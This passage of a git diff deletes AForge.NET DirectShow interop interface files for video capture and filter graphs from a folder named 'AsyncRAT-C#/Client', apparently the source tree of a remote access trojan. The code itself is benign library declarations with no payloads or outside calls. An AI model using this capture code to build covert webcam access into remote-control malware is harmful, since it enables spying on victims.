clock's IReferenceClock interface, or NULL. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetSyncSource( [In] IntPtr clock ); - - /// - /// Retrieves the current reference clock. - /// - /// - /// Address of a variable that receives a pointer to the clock's IReferenceClock interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetSyncSource( [Out] out IntPtr clock ); - - // --- IBaseFilter Methods - - /// - /// Enumerates the pins on this filter. - /// - /// - /// Address of a variable that receives a pointer to the IEnumPins interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int EnumPins( [Out] out IEnumPins enumPins ); - - /// - /// Retrieves the pin with the specified identifier. - /// - /// - /// Pointer to a constant wide-character string that identifies the pin. - /// Address of a variable that receives a pointer to the pin's IPin interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int FindPin( [In, MarshalAs( UnmanagedType.LPWStr )] string id, [Out] out IPin pin ); - - /// - /// Retrieves information about the filter. - /// - /// - /// Pointer to FilterInfo structure. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int QueryFilterInfo( [Out] out FilterInfo filterInfo ); - - /// - /// Notifies the filter that it has joined or left the filter graph. - /// - /// - /// Pointer to the Filter Graph Manager's IFilterGraph interface, or NULL - /// if the filter is leaving the graph. - /// String that specifies a name for the filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int JoinFilterGraph( [In] IFilterGraph graph, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); - - /// - /// Retrieves a string containing vendor information. - /// - /// - /// Receives a string containing the vendor information. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int QueryVendorInfo( [Out, MarshalAs( UnmanagedType.LPWStr )] out string vendorInfo ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs deleted file mode 100644 index 4ef802a..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs +++ /dev/null @@ -1,192 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// This interface builds capture graphs and other custom filter graphs. - /// - /// - [ComImport, - Guid( "93E5A4E0-2D50-11d2-ABFA-00A0C9C6E38D" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface ICaptureGraphBuilder2 - { - /// - /// Specify filter graph for the capture graph builder to use. - /// - /// - /// Filter graph's interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetFiltergraph( [In] IGraphBuilder graphBuilder ); - - /// - /// Retrieve the filter graph that the builder is using. - /// - /// - /// Filter graph's interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetFiltergraph( [Out] out IGraphBuilder graphBuilder ); - - /// - /// Create file writing section of the filter graph. - /// - /// - /// GUID that represents either the media subtype of the output or the - /// class identifier (CLSID) of a multiplexer filter or file writer filter. - /// Output file name. - /// Receives the multiplexer's interface. - /// Receives the file writer's IFileSinkFilter interface. Can be NULL. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetOutputFileName( - [In, MarshalAs( UnmanagedType.LPStruct )] Guid type, - [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, - [Out] out IBaseFilter baseFilter, - [Out] out IntPtr fileSinkFilter - ); - - /// - /// Searche the graph for a specified interface, starting from a specified filter. - /// - /// - /// GUID that specifies the search criteria. - /// GUID that specifies the major media type of an output pin, or NULL. - /// interface of the filter. The method begins searching from this filter. - /// Interface identifier (IID) of the interface to locate. - /// Receives found interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int FindInterface( - [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, - [In, MarshalAs( UnmanagedType.LPStruct )] Guid type, - [In] IBaseFilter baseFilter, - [In, MarshalAs( UnmanagedType.LPStruct )] Guid interfaceID , - [Out, MarshalAs( UnmanagedType.IUnknown )] out object retInterface - ); - - /// - /// Connect an output pin on a source filter to a rendering filter, optionally through a compression filter. - /// - /// - /// Pin category. - /// Major-type GUID that specifies the media type of the output pin. - /// Starting filter for the connection. - /// Interface of an intermediate filter, such as a compression filter. Can be NULL. - /// Sink filter, such as a renderer or mux filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RenderStream( - [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, - [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, - [In, MarshalAs( UnmanagedType.IUnknown )] object source, - [In] IBaseFilter compressor, - [In] IBaseFilter renderer - ); - - /// - /// Set the start and stop times for one or more streams of captured data. - /// - /// - /// Pin category. - /// Major-type GUID that specifies the media type. - /// interface that specifies which filter to control. - /// Start time. - /// Stop time. - /// Value that is sent as the second parameter of the - /// EC_STREAM_CONTROL_STARTED event notification. - /// Value that is sent as the second parameter of the - /// EC_STREAM_CONTROL_STOPPED event notification. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ControlStream( - [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, - [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, - [In, MarshalAs( UnmanagedType.Interface )] IBaseFilter filter, - [In] long start, - [In] long stop, - [In] short startCookie, - [In] short stopCookie - ); - - /// - /// Preallocate a capture file to a specified size. - /// - /// - /// File name to create or resize. - /// Size of the file to allocate, in bytes. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AllocCapFile( - [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, - [In] long size - ); - - /// - /// Copy the valid media data from a capture file. - /// - /// - /// Old file name. - /// New file name. - /// Boolean value that specifies whether pressing the ESC key cancels the copy operation. - /// IAMCopyCaptureFileProgress interface to display progress information, or NULL. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int CopyCaptureFile( - [In, MarshalAs( UnmanagedType.LPWStr )] string oldFileName, - [In, MarshalAs( UnmanagedType.LPWStr )] string newFileName, - [In, MarshalAs( UnmanagedType.Bool )] bool allowEscAbort, - [In] IntPtr callback - ); - - /// - /// - /// - /// - /// Interface on a filter, or to an interface on a pin. - /// Pin direction (input or output). - /// Pin category. - /// Media type. - /// Boolean value that specifies whether the pin must be unconnected. - /// Zero-based index of the pin to retrieve, from the set of matching pins. - /// Interface of the matching pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int FindPin( - [In, MarshalAs( UnmanagedType.IUnknown )] object source, - [In] PinDirection pinDirection, - [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, - [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, - [In, MarshalAs( UnmanagedType.Bool )] bool unconnected, - [In] int index, - [Out, MarshalAs( UnmanagedType.Interface )] out IPin pin - ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs deleted file mode 100644 index 81e4b59..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs +++ /dev/null @@ -1,37 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - using System.Runtime.InteropServices.ComTypes; - - /// - /// The ICreateDevEnum interface creates an enumerator for devices within a particular category, - /// such as video capture devices, audio capture devices, video compressors, and so forth. - /// - /// - [ComImport, - Guid( "29840822-5B84-11D0-BD3B-00A0C911CE86" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface ICreateDevEnum - { - /// - /// Creates a class enumerator for a specified device category. - /// - /// - /// Specifies the class identifier of the device category. - /// Address of a variable that receives an IEnumMoniker interface pointer - /// Bitwise combination of zero or more flags. If zero, the method enumerates every filter in the category. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int CreateClassEnumerator( [In] ref Guid type, [Out] out IEnumMoniker enumMoniker, [In] int flags ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumFilters.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumFilters.cs deleted file mode 100644 index a4c8eb9..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumFilters.cs +++ /dev/null @@ -1,71 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007-2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// This interface is used by applications or other filters to determine - /// what filters exist in the filter graph. - /// - /// - [ComImport, - Guid( "56A86893-0AD4-11CE-B03A-0020AF0BA770" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IEnumFilters - { - /// - /// Retrieves the specified number of filters in the enumeration sequence. - /// - /// - /// Number of filters to retrieve. - /// Array in which to place interfaces. - /// Actual number of filters placed in the array. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Next( [In] int cFilters, - [Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IBaseFilter[] filters, - [Out] out int filtersFetched ); - - /// - /// Skips a specified number of filters in the enumeration sequence. - /// - /// - /// Number of filters to skip. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Skip( [In] int cFilters ); - - /// - /// Resets the enumeration sequence to the beginning. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Reset( ); - - /// - /// Makes a copy of the enumerator with the same enumeration state. - /// - /// - /// Duplicate of the enumerator. - /// - /// - /// Return's HRESULT error code. - /// - /// - [PreserveSig] - int Clone( [Out] out IEnumFilters enumFilters ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumPins.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumPins.cs deleted file mode 100644 index 41e1f74..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumPins.cs +++ /dev/null @@ -1,68 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// Enumerates pins on a filter. - /// - /// - [ComImport, - Guid( "56A86892-0AD4-11CE-B03A-0020AF0BA770" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IEnumPins - { - /// - /// Retrieves a specified number of pins. - /// - /// - /// Number of pins to retrieve. - /// Array of size cPins that is filled with IPin pointers. - /// Receives the number of pins retrieved. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Next( [In] int cPins, - [Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IPin[] pins, - [Out] out int pinsFetched ); - - /// - /// Skips a specified number of pins in the enumeration sequence. - /// - /// - /// Number of pins to skip. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Skip( [In] int cPins ); - - /// - /// Resets the enumeration sequence to the beginning. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Reset( ); - - /// - /// Makes a copy of the enumerator with the same enumeration state. - /// - /// - /// Duplicate of the enumerator. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Clone( [Out] out IEnumPins enumPins ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph.cs deleted file mode 100644 index 7d21c5f..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph.cs +++ /dev/null @@ -1,113 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface provides methods for building a filter graph. An application can use it to add filters to - /// the graph, connect or disconnect filters, remove filters, and perform other basic operations. - /// - /// - [ComImport, - Guid( "56A8689F-0AD4-11CE-B03A-0020AF0BA770" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IFilterGraph - { - /// - /// Adds a filter to the graph and gives it a name. - /// - /// - /// Filter to add to the graph. - /// Name of the filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); - - /// - /// Removes a filter from the graph. - /// - /// - /// Filter to be removed from the graph. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RemoveFilter( [In] IBaseFilter filter ); - - /// - /// Provides an enumerator for all filters in the graph. - /// - /// - /// Filter enumerator. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int EnumFilters( [Out] out IntPtr enumerator ); - - /// - /// Finds a filter that was added with a specified name. - /// - /// - /// Name of filter to search for. - /// Interface of found filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); - - /// - /// Connects two pins directly (without intervening filters). - /// - /// - /// Output pin. - /// Input pin. - /// Media type to use for the connection. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Breaks the existing pin connection and reconnects it to the same pin. - /// - /// - /// Pin to disconnect and reconnect. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Reconnect( [In] IPin pin ); - - /// - /// Disconnects a specified pin. - /// - /// - /// Pin to disconnect. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Disconnect( [In] IPin pin ); - - /// - /// Sets the reference clock to the default clock. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetDefaultSyncSource( ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph2.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph2.cs deleted file mode 100644 index b4dbf4c..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph2.cs +++ /dev/null @@ -1,257 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - using System.Runtime.InteropServices.ComTypes; - - /// - /// This interface extends the and - /// interfaces, which contain methods for building filter graphs. - /// - /// - [ComImport, - Guid("36B73882-C2C8-11CF-8B46-00805F6CEF60"), - InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - internal interface IFilterGraph2 - { - // --- IFilterGraph Methods - - /// - /// Adds a filter to the graph and gives it a name. - /// - /// - /// Filter to add to the graph. - /// Name of the filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); - - /// - /// Removes a filter from the graph. - /// - /// - /// Filter to be removed from the graph. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RemoveFilter( [In] IBaseFilter filter ); - - /// - /// Provides an enumerator for all filters in the graph. - /// - /// - /// Filter enumerator. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int EnumFilters( [Out] out IEnumFilters enumerator ); - - /// - /// Finds a filter that was added with a specified name. - /// - /// - /// Name of filter to search for. - /// Interface of found filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); - - /// - /// Connects two pins directly (without intervening filters). - /// - /// - /// Output pin. - /// Input pin. - /// Media type to use for the connection. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Breaks the existing pin connection and reconnects it to the same pin. - /// - /// - /// Pin to disconnect and reconnect. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Reconnect( [In] IPin pin ); - - /// - /// Disconnects a specified pin. - /// - /// - /// Pin to disconnect. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Disconnect( [In] IPin pin ); - - /// - /// Sets the reference clock to the default clock. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetDefaultSyncSource( ); - - // --- IGraphBuilder methods - - /// - /// Connects two pins. If they will not connect directly, this method connects them with intervening transforms. - /// - /// - /// Output pin. - /// Input pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Connect( [In] IPin pinOut, [In] IPin pinIn ); - - /// - /// Adds a chain of filters to a specified output pin to render it. - /// - /// - /// Output pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Render( [In] IPin pinOut ); - - /// - /// Builds a filter graph that renders the specified file. - /// - /// - /// Specifies a string that contains file name or device moniker. - /// Reserved. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RenderFile( - [In, MarshalAs( UnmanagedType.LPWStr )] string file, - [In, MarshalAs( UnmanagedType.LPWStr )] string playList ); - - /// - /// Adds a source filter to the filter graph for a specific file. - /// - /// - /// Specifies the name of the file to load. - /// Specifies a name for the source filter. - /// Variable that receives the interface of the source filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AddSourceFilter( - [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, - [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, - [Out] out IBaseFilter filter ); - - /// - /// Sets the file for logging actions taken when attempting to perform an operation. - /// - /// - /// Handle to the log file. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetLogFile( IntPtr hFile ); - - /// - /// Requests that the graph builder return as soon as possible from its current task. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Abort( ); - - /// - /// Queries whether the current operation should continue. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ShouldOperationContinue( ); - - - // --- IFilterGraph2 methods - - /// - /// - /// - /// - /// Moniker interface. - /// Bind context interface. - /// Name for the filter. - /// Receives source filter's IBaseFilter interface. - /// The caller must release the interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AddSourceFilterForMoniker( - [In] IMoniker moniker, - [In] IBindCtx bindContext, - [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, - [Out] out IBaseFilter filter - ); - - /// - /// Breaks the existing pin connection and reconnects it to the same pin, - /// using a specified media type. - /// - /// - /// Pin to disconnect and reconnect. - /// Media type to reconnect with. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ReconnectEx( - [In] IPin pin, - [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType - ); - - /// - /// Render an output pin, with an option to use existing renderers only. - /// - /// - /// Interface of the output pin. - /// Flag that specifies how to render the pin. - /// Reserved. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RenderEx( - [In] IPin outputPin, - [In] int flags, - [In] IntPtr context - ); - - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IGraphBuilder.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IGraphBuilder.cs deleted file mode 100644 index 8f3fc4e..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IGraphBuilder.cs +++ /dev/null @@ -1,198 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// This interface provides methods that enable an application to build a filter graph. - /// - /// - [ComImport, - Guid( "56A868A9-0AD4-11CE-B03A-0020AF0BA770" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IGraphBuilder - { - // --- IFilterGraph Methods - - /// - /// Adds a filter to the graph and gives it a name. - /// - /// - /// Filter to add to the graph. - /// Name of the filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); - - /// - /// Removes a filter from the graph. - /// - /// - /// Filter to be removed from the graph. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RemoveFilter( [In] IBaseFilter filter ); - - /// - /// Provides an enumerator for all filters in the graph. - /// - /// - /// Filter enumerator. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int EnumFilters( [Out] out IEnumFilters enumerator ); - - /// - /// Finds a filter that was added with a specified name. - /// - /// - /// Name of filter to search for. - /// Interface of found filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); - - /// - /// Connects two pins directly (without intervening filters). - /// - /// - /// Output pin. - /// Input pin. - /// Media type to use for the connection. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Breaks the existing pin connection and reconnects it to the same pin. - /// - /// - /// Pin to disconnect and reconnect. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Reconnect( [In] IPin pin ); - - /// - /// Disconnects a specified pin. - /// - /// - /// Pin to disconnect. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Disconnect( [In] IPin pin ); - - /// - /// Sets the reference clock to the default clock. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetDefaultSyncSource( ); - - // --- IGraphBuilder methods - - /// - /// Connects two pins. If they will not connect directly, this method connects them with intervening transforms. - /// - /// - /// Output pin. - /// Input pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Connect( [In] IPin pinOut, [In] IPin pinIn ); - - /// - /// Adds a chain of filters to a specified output pin to render it. - /// - /// - /// Output pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Render( [In] IPin pinOut ); - - /// - /// Builds a filter graph that renders the specified file. - /// - /// - /// Specifies a string that contains file name or device moniker. - /// Reserved. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RenderFile( - [In, MarshalAs( UnmanagedType.LPWStr )] string file, - [In, MarshalAs( UnmanagedType.LPWStr )] string playList); - - /// - /// Adds a source filter to the filter graph for a specific file. - /// - /// - /// Specifies the name of the file to load. - /// Specifies a name for the source filter. - /// Variable that receives the interface of the source filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AddSourceFilter( - [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, - [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, - [Out] out IBaseFilter filter ); - - /// - /// Sets the file for logging actions taken when attempting to perform an operation. - /// - /// - /// Handle to the log file. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetLogFile( IntPtr hFile ); - - /// - /// Requests that the graph builder return as soon as possible from its current task. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Abort( ); - - /// - /// Queries whether the current operation should continue. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ShouldOperationContinue( ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaControl.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaControl.cs deleted file mode 100644 index c6ba357..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaControl.cs +++ /dev/null @@ -1,118 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface provides methods for controlling the flow of data through the filter graph. - /// It includes methods for running, pausing, and stopping the graph. - /// - /// - [ComImport, - Guid( "56A868B1-0AD4-11CE-B03A-0020AF0BA770" ), - InterfaceType( ComInterfaceType.InterfaceIsDual )] - internal interface IMediaControl - { - /// - /// Runs all the filters in the filter graph. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Run( ); - - /// - /// Pauses all filters in the filter graph. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Pause( ); - - /// - /// Stops all the filters in the filter graph. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Stop( ); - - /// - /// Retrieves the state of the filter graph. - /// - /// - /// Duration of the time-out, in milliseconds, or INFINITE to specify an infinite time-out. - /// Ìariable that receives a member of the FILTER_STATE enumeration. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetState( int timeout, out int filterState ); - - /// - /// Builds a filter graph that renders the specified file. - /// - /// - /// Name of the file to render - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RenderFile( string fileName ); - - /// - /// Adds a source filter to the filter graph, for a specified file. - /// - /// - /// Name of the file containing the source video. - /// Receives interface of filter information object. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AddSourceFilter( [In] string fileName, [Out, MarshalAs( UnmanagedType.IDispatch )] out object filterInfo ); - - /// - /// Retrieves a collection of the filters in the filter graph. - /// - /// - /// Receives the IAMCollection interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_FilterCollection( - [Out, MarshalAs( UnmanagedType.IDispatch )] out object collection ); - - /// - /// Retrieves a collection of all the filters listed in the registry. - /// - /// - /// Receives the IDispatch interface of IAMCollection object. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_RegFilterCollection( - [Out, MarshalAs( UnmanagedType.IDispatch )] out object collection ); - - /// - /// Pauses the filter graph, allowing filters to queue data, and then stops the filter graph. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int StopWhenReady( ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaEventEx.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaEventEx.cs deleted file mode 100644 index d01bee8..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaEventEx.cs +++ /dev/null @@ -1,126 +0,0 @@ -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2011 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface inherits contains methods for retrieving event notifications and for overriding the - /// filter graph's default handling of events. - /// - [ComVisible( true ), ComImport, - Guid( "56a868c0-0ad4-11ce-b03a-0020af0ba770" ), - InterfaceType( ComInterfaceType.InterfaceIsDual )] - internal interface IMediaEventEx - { - /// - /// Retrieves a handle to a manual-reset event that remains signaled while the queue contains event notifications. - /// - /// Pointer to a variable that receives the event handle. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetEventHandle( out IntPtr hEvent ); - - /// - /// Retrieves the next event notification from the event queue. - /// - /// - /// Variable that receives the event code. - /// Pointer to a variable that receives the first event parameter. - /// Pointer to a variable that receives the second event parameter. - /// Time-out interval, in milliseconds. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetEvent( [Out, MarshalAs( UnmanagedType.I4 )] out DsEvCode lEventCode, [Out] out IntPtr lParam1, [Out] out IntPtr lParam2, int msTimeout ); - - /// - /// Waits for the filter graph to render all available data. - /// - /// - /// Time-out interval, in milliseconds. Pass zero to return immediately. - /// Pointer to a variable that receives an event code. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int WaitForCompletion( int msTimeout, [Out] out int pEvCode ); - - /// - /// Cancels the Filter Graph Manager's default handling for a specified event. - /// - /// - /// Event code for which to cancel default handling. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int CancelDefaultHandling( int lEvCode ); - - /// - /// Restores the Filter Graph Manager's default handling for a specified event. - /// - /// Event code for which to restore default handling. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RestoreDefaultHandling( int lEvCode ); - - /// - /// Frees resources associated with the parameters of an event. - /// - /// Event code. - /// First event parameter. - /// Second event parameter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int FreeEventParams( [In, MarshalAs( UnmanagedType.I4 )] DsEvCode lEvCode, IntPtr lParam1, IntPtr lParam2 ); - - /// - /// Registers a window to process event notifications. - /// - /// - /// Handle to the window, or to stop receiving event messages. - /// Window message to be passed as the notification. - /// Value to be passed as the lParam parameter for the lMsg message. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetNotifyWindow( IntPtr hwnd, int lMsg, IntPtr lInstanceData ); - - /// - /// Enables or disables event notifications. - /// - /// - /// Value indicating whether to enable or disable event notifications. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetNotifyFlags( int lNoNotifyFlags ); - - /// - /// Determines whether event notifications are enabled. - /// - /// - /// Variable that receives current notification status. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetNotifyFlags( out int lplNoNotifyFlags ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs deleted file mode 100644 index ceed73f..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs +++ /dev/null @@ -1,191 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © 